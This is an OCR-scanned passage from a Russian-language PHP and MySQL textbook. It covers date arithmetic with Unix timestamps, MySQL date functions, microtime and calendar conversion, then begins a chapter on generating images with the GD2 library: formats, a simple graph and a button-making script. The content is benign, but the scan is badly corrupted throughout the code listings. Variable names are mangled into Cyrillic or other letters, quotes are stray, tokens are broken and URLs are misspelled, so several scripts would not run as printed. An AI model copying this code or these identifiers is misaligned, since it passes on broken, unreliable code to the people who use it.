Окончание табл. 21.4 Код Описание %н Часы в 24-часовом формате с ведущим нулем. %к Часы в 24-часовом формате без ведущего нуля. %h или %1 .Часы в 12-часовом формате с ведущим нулем. %1 Часы в 12-часовом формате без ведущего нуля. %i Минуты, число с ведущим нулем. %г Время в 12-часовом формате (hh:mm:ss [AM | РМ]). %Т Время в 24-часовом формате (hh:mm:ss). %S ИЛИ %S Секунды, число с ведущим нулем. %р AM или РМ. %w День недели, число от 0 (воскресенье) до 6 (суббота). 1 Функция UNIX_TIMESTAMP работает аналогично, но преобразует значение столбца в метку времени Unix. Например: SELECT UNIX_TIMESTAMP(date_column) FROM tablename; возвращает дату в формате метки времени Unix. Затем в РНР с ней можно производить любые операции. Метки времени Unix используются для вычислений над датами. Не забывайте, что с помощью меток времени можно представлять даты только между 1902 и 2038 годами, тогда как тип даты MySQL допускает гораздо более широкий диапазон. Как правило, лучше пользоваться метками времени Unix для вычислений над дата- ми и стандартный формат, если нужно лишь хранить и отображать даты. Операции над датами в РНР Наиболее простой способ вычислить период времени между двумя датами в РНР — найти разность между двумя метками времени Unix. Этот подход использован в сце- нарии, приведенном в листинге 21.1. Листинг 21.1. calc age .php — сценарий для вычисления возраста по дате рождения <?php // Определение даты для расчетов $day = 25; $month = 5; $year = 1997; // Дата рождения требуется в формате день/месяц/год $bdayunix = mktime (0, 0, 0, $month, $day, $year); // $nowunix = time(); // $ageunix = $nowunix - $bdayunix; // $age = floor ($ageunix / (365 * 24 * 60 * 60)); // м.вр. даты рождения м.вр. для текущей даты их разность секунды -> годы echo "Возраст: $аде"; ?> 456 Часть IV. Более сложные технологии РНР
В этом сценарии дата для подсчета возраста была установлена внутри сцена- рия. В реальном приложении эта информация обычно поступает из HTML-формы. Сценарий начинается с вычисления меток времени для даты рождения (с помощью функции mktime ()) и текущей даты: $bdayunix = mktime (0, 0, 0, $month, $day, $year); //м.вр. даты рождения $nowunix = time(); //м.вр. для текущей даты Теперь обе даты имеют одинаковый формат, поэтому можно вычислить их разность: $ageunix = $nowunix — $bdayunix; Далее следует более сложный фрагмент кода — обратное преобразование этого периода времени в более естественные единицы измерения. Это уже не метка вре- мени, а возраст человека в секундах. Преобразовать его в годы можно, разделив на количество секунд в году. После этого с помощью функции floor () производится округление в меньшую сторону, поскольку возраст человека составляет, например, 20 лет только по прошествии двадцатого года от рождения: $age = floor ($ageunix / (365 * 24 * 60 * 60)); // секунды -> годы Все же обратите внимание, что этот подход несколько некорректен, т.к. он ог- раничивается диапазоном значений меток времени Unix (т.е. 32-разрядными целы- ми). Пример с днями рождения — совсем не идеальное применение меток времени. Этот пример нормально работает на всех платформах только для тех, кто родился после 1970 г. Windows не может управлять метками времени, относящимися до 1970 г. Кроме того, вычисления не всегда точны, поскольку они не учитывают високосные годы и могут дать сбой, если полночь дня рождения попадает на ночь совершения перехода на дневное время. Операции над датами в MySQL Количество встроенных функций манипулирования датами в РНР невелико. Понятно, что вы можете реализовать собственные функции, однако принимайте во внимание, что учет високосных годов и летнего времени достаточно труден. В каче- стве альтернативы можно загрузить функции, написанные другими разработчиками. Вы найдете немало замечаний по этому поводу в онлайновом руководстве по РНР, тем не менее, только некоторые их них заслуживают внимания. На заметку! В РНР 5.3 появилось несколько новых функций работы с датами, например, date_add(), date sub () и date dif f (). Они снимают необходимость обращения к MySQL за более легки- ми средствами работы с датами, которых ранее не хватало в РНР. Существует неочевидный вариант — использование MySQL. Система MySQL пред- лагает широкий спектр функций манипулирования датами, которые нормально рабо- тают за пределами ограничений, накладываемых на метки времени Unix. Для выпол- нения MySQL-запросов вы должны подключиться к серверу MySQL, однако вовсе не обязательно использовать данные исключительно из базы данных. Приведенный ниже запрос добавляет один день к дате 28 февраля 1700 г. и воз- вращает результирующую дату: select adddate(’1700-02-28 ’, interval 1 day) Глава 21. Работа с датой и временем 457
Поскольку 1700 г. не является високосным, результат выглядит как 1700-03-01 (1 марта 1700 г.). Подробное описание синтаксиса для представления даты и времени и работы с ними можно найти в руководстве по MySQL, которое доступно по адресу: http://www.mysql.com/doc/en/Date_and_time_functions.html К сожалению, не существует простого пути получения числа лет между двумя дата- ми, так что пример с днем рождения остается несколько туманным. Однако очень лег- ко получить возраст человека, выраженный в днях; код, показанный в листинге 21.2, делает это и выполняет приблизительное преобразование возраста в количество лет. Листинг 21.2. mysql_calc_age .php — использование MySQL для вычисления возраста в годах по дате рождения <?php // Определение даты для расчетов $day = 25; $month = 5; $year = 1997; // Преобразование даты рождения к формату ISO 8601 $bdayISO = date("с", mktime (0, 0, 0, $month, $day, $year)); // Использование MySQL-запроса для вычисления возраста в днях $db = mysqli_connect(’localhost’, 'user', ’pass’); $res = mysqli_query ($db, ’’select datediff (now () , ’ SbdaylSO’) ") ; $age = mysqli_fetch_array($res); // Преобразование возраста из дней в года (приблизительное) echo "Возраст: ". floor($age[0]/365.25); ?> После форматирования дня рождения в метку времени ISO серверу MySQL пере- дается следующий запрос: select datediff(now(), ’1972-09-18Т00:00:00+10:00') MySQL-функция now () всегда возвращает текущую дату и время. MySQL-функция datediff (появившаяся в версии MySQL 4.1.1) вычитает одну дату из другой и воз- вращает разницу в днях. Хотя вы не выбираете никаких данных из таблиц и даже не выбираете какую-либо базу данных, вы все же должны подключиться к серверу MySQL с использованием допустимого имени и пароля. Поскольку для таких вычислений нет специальных встроенных функций, SQL-за- прос для вычисления точного количества лет получается довольно сложным. Здесь мы заменили его упрощенным подсчетом, деля возраст в днях на 365,25. Если такой подсчет выполнить в день рождения, он может дать ошибку на один год — это зави- сит от количества високосных годов, которые были в течение жизни человека. Использование микросекунд В некоторых приложениях измерение времени в секундах не обеспечивает доста- точной точности. Если необходимо измерять более короткие периоды, такие как вре- мя выполнения PHP-сценариев, следует прибегнуть к услугам функции mi его time (). 458 Часть IV. Более сложные технологии РНР
В РНР 5 следует вызывать функцию microtime () с параметром true. При таком значении этого необязательного параметра возвращается время в формате числа с плавающей точкой, с которым можно делать все что угодно. Этот формат совпада- ет с тем, что возвращается функциями mktime (), time () или date (), однако имеет дробную часть. К примеру, оператор echo number_format (microtime (true) , 10, ' . ’, ’ ’) ; выдает что-то наподобие 1174091854.84. В более старых версиях получать результат в формате числа с плавающей точкой было невозможно. Результат всегда представлялся в виде строки. Вызов microtime () без параметра возвращает строку вида ”0.34380900 1174091816". Первое число в этой строке является дробной частью, а второе представляет собой количество пол- ных секунд, прошедших с момента 1 января 1970 г. Иметь дело с числами, а не строками, гораздо удобнее, так что в РНР 5* имеет смысл всегда вызывать функцию microtime () с параметром true. Использование календарных функций В РНР имеется набор функций, позволяющих выполнять преобразования между различными календарными системами. Наиболее распространенными календарями являются Григорианский, Юлианский и счетчик Юлианских дней. Григорианский календарь используется в большинстве западных стран. Дата 15 октября 1582 г. по Григорианскому календарю эквивалентна дате 5 октября 1582 г. по Юлианскому календарю. До этого момента более распространенным был Юлианский календарь. Разные страны перешли на Григорианский календарь в различное время, некоторые — лишь в начале двадцатого века. Хотя, возможно, вы слышали об этих двух календарях, скорее всего, вы не слы- хали о счетчике Юлианских дней. Во многом он похож на метки времени Unix. Это счетчик числа дней, начиная примерно с 4000 г. до нашей эры. Сам по себе он прак- тически бесполезен, но удобен при преобразованиях из одного формата в другой. Для этого дата сначала преобразуется в значение счетчика Юлианских дней (Julian Day Count — JD), а затем в требуемый календарный формат. Для того чтобы воспользоваться этими функциями в Unix, необходимо скомпили- ровать в РНР календарное расширение, указав опцию —enable-calendar. Это рас- ширение по умолчанию входит в состав стандартной установки РНР для Windows. С целью ознакомления рассмотрим прототипы функций, используемых для преоб- разования из Григорианского календаря в Юлианский: int gregoriantojd(int month, int day, int year) string jdtojulian(int julianday) Для преобразования даты необходимо вызвать обе эти функции: $jd = gregoriantojd (9, 18, 1582); echo jdtojulian ($jd) ; В результате будет выведена юлианская дата в формате ММ/ДД/ГГГГ. Существует несколько разновидностей этих функций для преобразования даты в формат Григорианского, Юлианского, Французского и Еврейского календарей, а так- же меток времени Unix. Глава 21. Работа с датой и временем 459
Дополнительные источники информации Если нужно узнать больше о функциях обработки даты и времени в РНР и MySQL, можно обратиться к соответствующим разделам справочных руководств: http://php.net/manual/en/ref.datetime.php http://dev.mysql.eom/doc/refman/5.O/en/date-and-time-functions.html Если требуется преобразовать даты в форматы различных календарей, обратитесь к руководству по календарным функциям РНР: http: //php.net/manual/en/ref-.calendar.php Что дальше Одним из уникальных и весьма полезных свойств РНР является создание изо- бражений на ходу. В главе 22 рассматриваются способы применения библиотечных функций для получения интересных и полезных эффектов. 460 Часть IV. Более сложные технологии РНР
22 Генерация изображений Одна из очень полезных возможностей РНР — генерация изображений на ходу. В РНР для этого предусмотрено несколько встроенных функций, и, кроме того, для создания новых или изменения существующих изображений можно воспользовать- ся библиотекой GD2. В этой главе вы увидите, как с помощью функций обработки изо- бражений можно добиться весьма интересных и полезных эффектов. В главе рассматриваются следующие темы. Настройка поддержки изображений в РНР. Форматы изображений. Создание изображений. Использование автоматически сгенерированных изображений на других стра- ницах. Использование текста и шрифтов для создания изображений. Рисование фигур и построение графиков. Мы рассмотрим два конкретных примера: генерация на ходу кнопок для веб-сайта и построение гистограммы по числовым значениям, которые берутся из базы данных MySQL. Здесь мы воспользуемся библиотекой GD2, однако доступна еще одна популяр- ная библиотека обработки изображений для РНР — ImageMagick. Эта библиотека не входит в состав стандартной сборки РНР, но очень легко инсталлируется из биб- лиотеки классов PHP-расширений (РНР Extension Class Library — PECL). Библиотеки ImageMagick и GD2 имеют много общего, тем не менее, в ряде областей ImageMagick продвинулась гораздо дальше. Если вас интересует создание GIF-изображений (даже с анимацией), обратитесь к ImageMagick. Если вам нужно работать с изображениями, представленными в натуральных цветах, или выполнять визуализацию эффектов про- зрачности, вы должны сравнить функциональные возможности, которые предлагают обе библиотеки. ImageMagick для РНР можно загрузить с сайта PECL по адресу: http://peel.РНР.net/package/imagick Основной сайт ImageMagick, демонстрирующий все возможности и содержащий полную документацию, находится по адресу http://www.imagemagick.org. Глава 22. Генерация изображений 461
Настройка поддержки изображений в РНР Некоторые функции для работы с изображениями доступны в РНР всегда, однако большинство из них требует библиотеки GD2. Детальную информацию по GD2 мож- но найти по адресу http: //www.libgd.org/Main_Page. Начиная с версии 4.3, РНР поставляется со своей версией библиотеки GD2, под- держиваемой группой разработчиков РНР. Эта версия проще в установке и, как пра- вило, более устойчива в работе, поэтому рекомендуется использовать именно ее. В Windows-версиях форматы PNG и JPEG поддерживаются автоматически, если зарегистрировано расширение php_gd2.dll. Это можно сделать, скопировав файл php_gd2 .dll из инсталляционного конкретна РНР (в подпапке \ext) в системный ката- лог (С: \Windows\system, если вы работаете в Windows ХР). Кроме того, нужно раском- ментировать (т.е. удалить из начала строки) следующую строку в файле php. ini: extension=php_gd2.dll Если нужно работать с форматом PNG под Unix, потребуется инсталлировать биб- лиотеки libpng(http://www.libpng.org/pub/png/)и zlib (http://www.gzip.org/ zlib/). Затем необходимо сконфигурировать РНР со следующими опциями: —with-png-dir=/nyTb/K/libpng — with-z1ib-diг=/путь/к/zlib Если требуется поддержка JPEG под Unix, необходимо загрузить модуль jpeg-6b и перекомпилировать библиотеку GD с включенной поддержкой JPEG-формата. Модуль доступен для загрузки по адресу ftp: //ftp.uu.net/graphics/jpeg/. Далее следует переконфигурировать РНР с опцией — with-jpeg-diг=/путь/к/jpeg-6b и выполнить повторную компиляцию. Если в изображениях планируется применять TrueType-шрифты, понадобится так- же библиотека FreeType, которая входит в состав РНР 4; ее также можно загрузить с сайта http: / /www. freetype. org/. Для использования вместо TrueType шрифтов PostScript Type 1 потребуется загру- зить библиотеку tllib, размещенную на сайте: ftp://sunsite.unc.edu/pub/Linux/libs/graphics/ После этого следует запустить программу конфигурирования РНР с опцией —with-tllib[=путь/к/СШЬ] В конце, естественно, понадобится сконфигурировать РНР с опцией —with-gd. Форматы изображений Библиотека GD поддерживает форматы JPEG, PNG и WBMP. Формат GIF больше не поддерживается. Давайте кратко рассмотрим каждый из этих форматов. JPEG JPEG обозначает Joint Photographic Experts Group (Объединенная группа экспертов по фо- тографии) и является названием группы стандартов, а не каким-то специфическим фор- матом. Формат файла, который обычно называют JPEG, в действительности официаль- но называется JFIF и соответствует одному из стандартов, выпущенных группой JPEG. 462 Часть IV. Более сложные технологии РНР
На всякий случай напомним, что формат JPEG обычно используется для хранения фотографических или других изображений с большим количеством цветов или от- тенков. В этом формате используется сжатие с потерями, т.е. при уменьшении разме- ра файла теряется качество. Поскольку формат JPEG предназначен преимущественно для хранения аналоговых изображений с оттенками цветов, то человеческий глаз мо- жет не заметить потери качества. Этот формат не подходит для хранения чертежей, текста или больших одноцветных областей. Прочесть о JPEG/JFIF можно на официальном сайте JPEG по адресу http:// www.jpeg.org/. PNG PNG обозначает Portable Network Graphics (Переносимая сетевая графика). Этот фор- мат файла рассматривается как замена формата GIF (Graphics Interchange Format — формат обмена графическими изображениями) по причинам, о которых будет рас- сказано ниже. На веб-сайте PNG этот формат ойисан как “формат изображений со сжатием без потерь”. В силу отсутствия потерь этот формат подходит для изображе- ний, содержащих текст, прямые линии и блоки одного цвета, как, например, заго- ловки или кнопки на веб-сайте — все те элементы, для представления которых ранее использовались GIF-изображения. Сжатая PNG-версия изображения сравнима по размеру со сжатой GIF-версией. В PNG также применяется переменная прозрачность, гамма-коррекция и двойное че- редование. Однако он не поддерживает анимацию — для этого можно воспользовать- ся расширенным форматом MNG, который еще находится в стадии разработки. Схемы сжатия без потерь хороши для хранения иллюстраций, но не особенно подходят для хранения больших фотографий, поскольку в этом случае получаются файлы громадных размеров. Прочесть о формате PNG можно на официальном сайте PNG, находящемся по адресу http://www.libpng.org/pub/png/. WBMP WBMP обозначает Wireless Bitmap (Битовое изображение для беспроводной связи). Этот формат был специально разработан для устройств беспроводной связи. В на- стоящее время он используется не особенно широко. GIF GIF означает Graphics Interchange Format (Формат обмена графическими изображе- ниями). Это формат со сжатием без потерь, широко используемый в Интернете для хранения изображений, содержащих текст, линии и блоки одного цвета. Формат GIF использует палитру из 256 различных цветов из 24-битового цветово- го пространства RGB. Он также поддерживает анимацию с отдельными палитрами из 256 цветов для каждого кадра. Ограничение на количество цветов в формате GIF де- лает его непригодным для воспроизведения цветных фотографий и других изображе- ний с непрерывными цветами, но он хорошо приспособлен для более простых изо- бражений — таких как графики или логотипы с большими областями одного цвета. GIF-файлы сжимаются с помощью техники сжатия LZW (без потерь), которая уменьшает размер файла без ухудшения визуального качества. Глава 22. Генерация изображений 463
Создание изображений Ниже описаны четыре основных шага по созданию изображений в РНР. 1. Создание холста, предназначенного для дальнейшей работы. 2. Вычерчивание форм или вывод текста на этом холсте. 3. Вывод полученного изображения. 4. Освобождение ресурсов. Начнем с рассмотрения очень простого сценария создания изображения, кото- рый показан в листинге 22.1. Листинг 22.1. simplegraph.php — вывод простого линейного графика с текстом “Sales” (Продажи) <? // Настройка изображения $height = 200; $width = 200; $im = ImageCreateTrueColor($width, $height); $white = ImageColorAllocate ($im, 255, 255, 255) ; $blue = ImageColorAllocate ($im, 0, 0, 64); // Формирование изображения ImageFill ($im, 0, 0, $blue); ImageLine ($im, 0, 0, $width, Sheight, $white); Imagestring($im, 4, 50, 150, ’Продажи’, $white); / / Вывод изображения Header ('Content-type: image/png'); ImagePng ($im); // Освобождение ресурсов ImageDestroy($im); Результат работы сценария можно видеть на рис. 22.1. Рис. 22.1. Сценарий вначале создает синий фон, ’ а затем добавляет линию и надпись Рассмотрим все шаги создания изображения более подробно. 464 Часть IV. Более сложные технологии РНР
Создание холста Для того чтобы приступить к созданию или изменению изображения в РНР, необ- ходимо создать идентификатор изображения. Это можно сделать двумя основными способами. Первый заключается в создании пустого холста с помощью вызова функ- ции ImageCreateTrueColor (), что и сделано в сценарии: $im = ImageCreateTrueColor($width, $height); Функция ImageCreateTrueColor () требует передачи двух параметров. Первый из них задает ширину нового изображения, а второй — высоту. Функция возвращает идентификатор нового изображения. (Эти идентификаторы очень похожи на деск- рипторы файлов.) Другой способ связан с чтением файла существующего изображения, после чего к нему можно применить фильтры, изменить размер или добавить что-либо. В зависи- мости от формата вводимого файла, это можно сделать с помощью одной из функций ImageCreateFromPNG(), ImageCreateFromJPEG() или ImageCreateFromGIF(). Параметром каждой из функций является имя файла, например: $im = ImageCreateFromPNG(’baseimage.png’); Далее в этой главе приведен пример, в котором для создания кнопок на ходу ис- пользуется существующее изображение. Рисование и вывод текста в изображении Рисование или вывод текста в изображении выполняется в два этапа. Сначала не- обходимо выбрать цвета, которые будут использоваться при рисовании. Возможно, вы уже знаете, что цвета на мониторе компьютера формируются за счет смешения красного, зеленого и синего компонентов. Форматы изображения используют цвето- вую палитру, которая состоит из заданного подмножества всех возможных комбина- ций трех цветов. Чтобы использовать цвет для рисования, его необходимо добавить к палитре изображения. И это нужно сделать для каждого цвета, даже для черного и белого. Цвета для изображения можно выбрать, вызвав функцию ImageColorAllocate (). Ей необходимо передать идентификатор изображения и значения красного, зелено- го и синего (RGB) компонентов требуемого цвета. В листинге 22.1 используются два цвета: синий и белый. Они определяются при помощи вызовов функций: $white = ImageColorAllocate($im, 255, 255, 255); $blue = ImageColorAllocate ($im, 0, 0, 64); В результате возвращается идентификатор цвета, который можно использовать для последующего доступа к данному цвету. Далее, чтобы формировать собственно изображение, существует несколько различ- ных функций, выводящих нужные объекты: линии, дуги, многоугольники или текст. Функции рисования обычно используют следующие параметры: идентификатор изображения; начальные и, при необходимости, конечные координаты изображаемого объекта; цвет объекта; информация о шрифте для вывода текста. Глава 22. Генерация изображений 465
В сценарии применяются три таких функции. Рассмотрим каждую из них по от- дельности. Вначале с помощью функции ImageFill () был создан синий фон: ImageFill ($im, 0, 0, $Ыие) ; Параметрами этой функции являются идентификатор изображения, начальные координаты заполняемой области (хи у) и цвет заливки. На заметку! Координаты точки в изображении отсчитываются от левого верхнего угла, для которого х=0, у=0. Координаты правого нижнего угла изображения x=$width, y=$height. Это нормально при выводе графики, но отличается от математических соглашений, так что не запутайтесь! Затем из левого верхнего (0, 0) в правый нижний ($width, $height) угол изобра- жения проводится прямая линия: ImageLine ($im, 0, 0, $width, $height, $white); Параметрами этой функции являются идентификатор изображения, начальные и конечные точки линии и цвет. В заключение на изображение помещается метка: ImageString($im, 4, 50, 150, ’Продажи’, $white); Функции ImageString () требуются несколько иные параметры. Ее прототип име- ет вид: int ImageString (resource im, int font, int x, int y, string s, int col) Параметрами являются: идентификатор изображения, шрифт, координаты х и у начальной точки текста, выводимый текст и его цвет. Шрифт задается числом от 1 до 5. Этот диапазон отвечает набору встроен- ных шрифтов. Альтернативой этому является применение шрифтов TrueType или PostScript Туре 1. Каждому из этих наборов шрифтов соответствует свой набор функ- ций. В следующем примере будет продемонстрировано применение функций для шрифтов TrueType. Гораздо лучше использовать набор функций одного из альтернативных шриф- тов, т.к. текст, выводимый функцией ImageString () и ей подобными, например, ImageChar () (вывод символа в изображение), получается ступенчатым. Функции шрифтов TrueType и PostScript воспроизводят текст со сглаживанием. Если вы не в курсе, в чем разница, взгляните на рис. 22.2. Normal Anti-aliased Рис. 22.2. Обычный текст (надпись “Normal”) имеет зазубренные края, особенно при большом размере шрифта. Сглаживание выравнивает ’ кривые и углы букв (см. надпись “Anti-aliased”) 466 Часть IV. Более сложные технологии РНР
Там, где шрифт содержит кривые или наклонные линии, текст имеет зазубрен- ные края. Так происходит потому, что кривая или наклонная линия достигается при помощи “эффекта лестницы”. В сглаженном изображении кривые или наклонные ли- нии содержат точки, промежуточные между цветом текста и фона. В результате текст выглядит гораздо аккуратнее. Вывод полученного изображения Изображение можно вывести либо непосредственно в браузер, либо в файл. В нашем примере вывод изображения выполняется в браузер. Этот процесс состо- ит из двух шагов. Вначале необходимо сообщить веб-браузеру, что будет выводиться именно изображение, а не текст или HTML-код. Это достигается с помощью функ- ции Header (), которая указывает М1МЕ-<гип изображения: Header(’Content-type: image/png’); Обычно при получении файла браузером первое, что отправляет веб-сервер — это MIME-тип. Для HTML- или PHP-страницы (после выполнения кода), заголовок имеет вид: Content-type: text/html Он сообщает браузеру, как необходимо интерпретировать последующие данные. В нашем случае требуется сообщить браузеру, что пересылается изображение, а не обычный HTML-вывод. Это можно сделать с помощью функции Header (), которая пока еще не рассматривалась. Данная функция пересылает строки HTTP-заголовков. Другим типичным их при- менением является HTTP-перенаправление. Оно указывает браузеру загрузить вместо запрашиваемой другую страницу. Обычно так делается в случае перемещения страни- цы. НапримСр: Header(’Location: http://www.domain.com/new_home_page.html’); Важно отметить, что функция Header () не может быть выполнена, если НТТР- заголовок страницы уже был отправлен. РНР посылает HTTP-заголовки автоматиче- ски всякий раз, когда происходит вывод чего-либо в браузер. Следовательно, наличие любого оператора echo или даже просто пробельного символа перед открывающим PHP-дескриптором приводит к отправке заголовка, вследствие чего при попытке вызова функции Header () РНР выдаст предупреждающее сообщение. Тем не менее, можно переслать несколько HTTP-заголовков с помощью нескольких вызовов функ- ции Header () в одном и том же сценарии, хотя все они должны появиться до перво- го вывода информации в браузер. После отправки заголовка можно вывести изображение с помощью вызова: ImagePNG($im); В результате в браузер будет выведено изображение в формате PNG. Если требу- ется другой формат, можно воспользоваться функцией Image JPEG (), если включена поддержка JPEG. Разумеется, вначале необходимо отправить соответствующий заго- ловок, т.е.: Header(’Content-type: image/jpeg'); Другая возможность заключается в выводе изображения в файл, а не браузер. Это можно сделать, добавив в функцию ImagePNG () (или аналогичную функцию для другого формата) необязательный второй параметр: ImagePNG($im, $filename); Глава 22. Генерация изображений 467
Не забывайте, что при этом действуют все правила записи в файл из РНР (напри- мер, необходимость корректной настройки прав доступа). Освобождение ресурсов По окончании работы с изображением необходимо освободить используемые ре- сурсы, уничтожив идентификатор изображения. Это делается с помощью функции ImageDestroy(): ImageDestroy($im); Использование автоматически сгенерированных изображений на других страницах Мы видели, что заголовок может быть переслан лишь один раз, и это единствен- ный способ сообщить браузеру, что передается изображение — поэтому вставлять динамически генерируемые изображения в обычные страницы не особенно просто. Для этого существуют три перечисленных ниже способа. Вся страница может состоять из рисунка, как это было в предыдущем примере. Можно, как упоминалось ранее, сохранить изображение в файле, а затем ссылаться на него с использованием обычного HTML-дескриптора <IMG>. В дескриптор изображения можно поместить сценарий, создающий изображение. О первых двух методах уже было рассказано. Рассмотрим вкратце третий метод. Для этого изображение вставляется в HTML-код с помощью следующего HTML-деск- риптора изображения: <img src="simplegraph.php" height="200" width="200" alt="Объем продаж падает" /> Вместо непосредственной вставки PNG-, JPEG- или GIF-изображения в параметре src дескриптора указан сценарий, генерирующий отправляемое изображение. Это позволяет получить и вывести встроенное изображение, как показано на рис. 22.3. ssmpJegraph.php (PNG Image, 200x200 pixels) - МойИа Firefox Re Edit gew History Bookmarks Tods Help 'r С? Л, http://kKaihost1^xnYsq!/22>’sm^fegraph.php Продажи Done Рис. 22.3. Динамически сгенерированный рисунок выглядит для конечного пользователя так же, как и обычный 468 Часть IV. Более сложные технологии РНР
Использование текста и шрифтов при создании изображений Теперь рассмотрим более сложный пример. Иногда удобно автоматически созда- вать кнопки или другие изображения для веб-сайта. Простые кнопки в виде прямо- угольника фонового цвета можно легко создать ранее рассмотренными методами. Программно можно сгенерировать и более сложные эффекты, однако в общем случае их проще получить с помощью какого-нибудь графического редактора. Кроме того, ра- зумнее возложить создание изображений на художников, а код — на программистов. В данном примере будут сгенерированы кнопки, использующие пустой шаблон, ко- торый позволяет создавать эффекты наподобие скошенных краев и тому подобного, обеспечиваемые Photoshop, GIMP и другими графическими редакторами. Используя графическую библиотеку РНР, можно взять базовое изображение и затем рисовать поверх него. Кроме того, мы используем TrueType-шрифты, чтобы получить сглаженный текст. У функций работы с TrueType-шрифтами есть свои особенности, о которых будет рас- сказано далее. Задача, в основном, состоит в том, чтобы взять некоторый текст и создать кнопку с этим текстом на ней. Нужно подобрать максимально возможный размер шрифта, по- мещающийся в кнопку, и центрировать текст на кнопке по горизонтали и вертикали. Для тестирования и экспериментирования разработан специальный интер- фейс. Этот интерфейс показан на рис. 22.4. (HTML-код для этой формы здесь не показан, поскольку он очень прост; желающие могут найти его файле chapter22\ design_button.html загружаемого кода.) Ш Создание кнопок - Mozilla Firefox Не Edt View History gookmarks Tools Help ▼ О db http:/»feca^ost/phpmys^/22/desgn_button.htn5i Создание кнопок Введите текст кнопки. Выберите цвет кнопки: Красный Зеленый Синий Создать кнопку Done Рис. 22.4. Данный интерфейс позволяет выбирать цвет кнопки и вводить текст Подобный интерфейс можно задействовать в программах автоматической гене- рации веб-сайтов. Сценарий, представленный здесь, можно встроить в HTML-код и генерировать на лету все кнопки веб-сайта, однако это может быть сопряжено с чрез- мерными затратами времени. Типичный пример вывода сценария показан на рис. 22.5. Глава 22. Генерация изображений 469
Рис. 22.5. Кнопка, сгенерированная сценарием makejoutton.php Кнопка генерируется с помощью сценария make button.php, текст которого представлен в листинге 22.2. Листинг 22.2. make_button. РНР — этот сценарий можно вызвать из формы в design button.html или же из HTML-дескриптора изображения <?php $button_text = $_REQUEST['button_text’]; s Scolor = $_REQUEST[’color’] ; // Проверка, что в переменных $button_text и $color содержатся требуемые данные if (empty($button_text) || empty($color)) { echo 'Форма заполнена неверно. Создание изображения невозможно.'; exit; } // Создание изображения с указанным фоном и проверка его размера $im = ImageCreateFromPNG (Scolor.'-button.png'); $width_image = ImageSX(Sim); $height_image = ImageSY($im); // В наших кнопках нужен отступ 18 пикселей от края $width_image_wo_margins = $width_image - (2 * 18); $height_image_wo_margins = $height_image - (2 * 18); // Проверка, подходит ли размер шрифта, и уменьшение, пока не подойдет. // Начинаем С наибольшего размера, который может подойти для кнопок $font_size = 33; // Необходимо указать GD2, где находятся шрифты putenv('GDFONTPATH=C:\WINDOWS\Fonts’); Sfontname = ’arial'; do { $font_size--; // Находим размер текста при данном размере шрифта $bbox=ImageTTFBBox ($font_size, 0, Sfontname, $button_text); $right_text = $bbox[2]; // правая координата $left_text = $bbox[0]; // левая координата $width_text = $right_text - $left_text; // ширина надписи $height_text = abs($bbox[7] - $bbox[l]); // высота надписи } while ($font_size > 8 && ($height_text > $height_image_wo_margins || $width_text > $width_image_wo_margins) ); 470 Часть IV. Более сложные технологии РНР
if ($height_text > $height_image_wo_margins || $width_text > $width_image_wo_margins) { / / Невозможно подобрать шрифт для текста echo ’Текст не помещается на кнопку.<Ьг />’; } else { .// Найден подходящий размер шрифта. // Поиск места для размещения текста. $text_x = $width_image/2.О - $width_text/2.0; $text_y = $height_image/2.0 - $height_text/2.0; if ($left_text < 0) $text_x += abs($left_text); // увеличение отступа слева $above_line_text = abs($bbox[7]); // как далеко от базовой линии? $text_y += $above_line_text; ( // увеличение отступа сверху $text_y -= 2; // корректировка отступа для данного шаблона $white = ImageColorAllocate ($im, 255, 255, 255) ; ImageTTFText($im, $font_size, 0, $text_x, $text_y, $white, $fontname, $button_text); Header(’Content-type: image/png’); ImagePNG($im); } ImageDestroy ($im); ?> Это один из самых длинных сценариев из числа приведенных до сих пор. Рассмот- рим его последовательно, по частям. Он начинается с обычных проверок на ошибки, а затем производится настройка холста, на котором будет выполнены дальнейшие действия. Настройка базового холста В листинге 22.2 кнопка создается не с нуля, а из уже существующего изображения. Имеется возможность выбрать кнопку одного из трех цветов: красный (red-button .png), зеленый (green-button.png) и синий (blue-button.png). Цвет, выбранный пользователем в форме, сохраняется в переменной $color. Все начинается с извлечения цвета из суперглобального массива $_REQUEST и ус- тановки нового идентификатора изображения на основе выбранной пользователем кнопки: $color = $_REQUEST['color']; $im = ImageCreateFromPNG ($color.’-button.png'); Функция ImageCreateFromPNG () принимает в качестве параметра имя PNG-фай- ла и возвращает новый идентификатор для изображения, содержащего копию это- го файла. Обратите внимание, что исходный PNG-файл при этом не меняется. При включенной поддержке соответствующих форматов аналогично можно использовать функции ImageCreateFromJPEG () и ImageCreateFromGIF (). На заметку! Функция ImageCreateFromPNG () создает изображение только в памяти. Чтобы сохранить изображение в файл или вывести его в браузер, нужно вызвать функцию ImagePNG (), которая будет рассмотрена ниже в этой главе. Глава 22. Генерация изображений 471
Подбор размера текста на кнопке Текст, введенный пользователем, хранится в переменной $button text. Этот текст необходимо вывести на кнопке шрифтом максимального размера. Задача реша- ется с помощью итераций или, строго говоря, итеративным методом проб и ошибок. Сначала устанавливаются все требуемые переменные. В первых двух хранятся вы- сота и ширина кнопки: $width_image = ImageSX($im); $height_image = ImageSY($im); Две следующих переменных хранят отступы от краев кнопки. Края кнопки скруг- лены, поэтому необходимо оставить пустым некоторое пространство возле края. Для других исходных изображений эти параметры будут другими! В данном случае отступ от каждого края составляет 18 пикселей: $width_image_wo_margins = $width_image - (2 * 18) ; $height_image_wo_margins = $height_image - (2 * 18) ; Далее нужно установить начальный размер шрифта. Его значение равно 32 (вооб- ще-то 33, но он тут же уменьшается на единицу), поскольку это шрифт наибольшего размера, который может вообще поместиться на кнопке: $font_size = 33; Если используется библиотека GD2, нужно указать, где размещены используемые шрифты; для этого устанавливается системная переменная GDFONTPATH: putenv(’GDFONTPATH=C:\WlNDOWS\Fonts’); Еще необходимо задать название нужного шрифта. Он будет использоваться функ- циями работы с TrueType-шрифтами, которые в вышеуказанном каталоге будут искать файл описания шрифта с именем, эквивалентным названию шрифта, и расширением . ttf: $fontname = ’arial’; Возможно, ваша операционная система потребует, чтобы название шрифта окан- чивалось на ttf”. Если в вашей системе нет шрифта Arial (который используется в данном приме- ре), его можно заменить любым другим TrueType-шрифтом. Затем выполняется цикл уменьшения размера шрифта до тех пор, пока заданный текст не поместится на кнопке: do { $font_size—; // Находим размер текста при данном размере шрифта $bbox=ImageTTFBBox ($font_size, 0, $fontname, $button_text); $right_text = $bbox[2]; // правая координата $left_text = $bbox[0]; // левая координата $width_text = $right_text - $left_text; // ширина надписи $height_text = abs($bbox[7] - $bbox[l]); // высота надписи } while 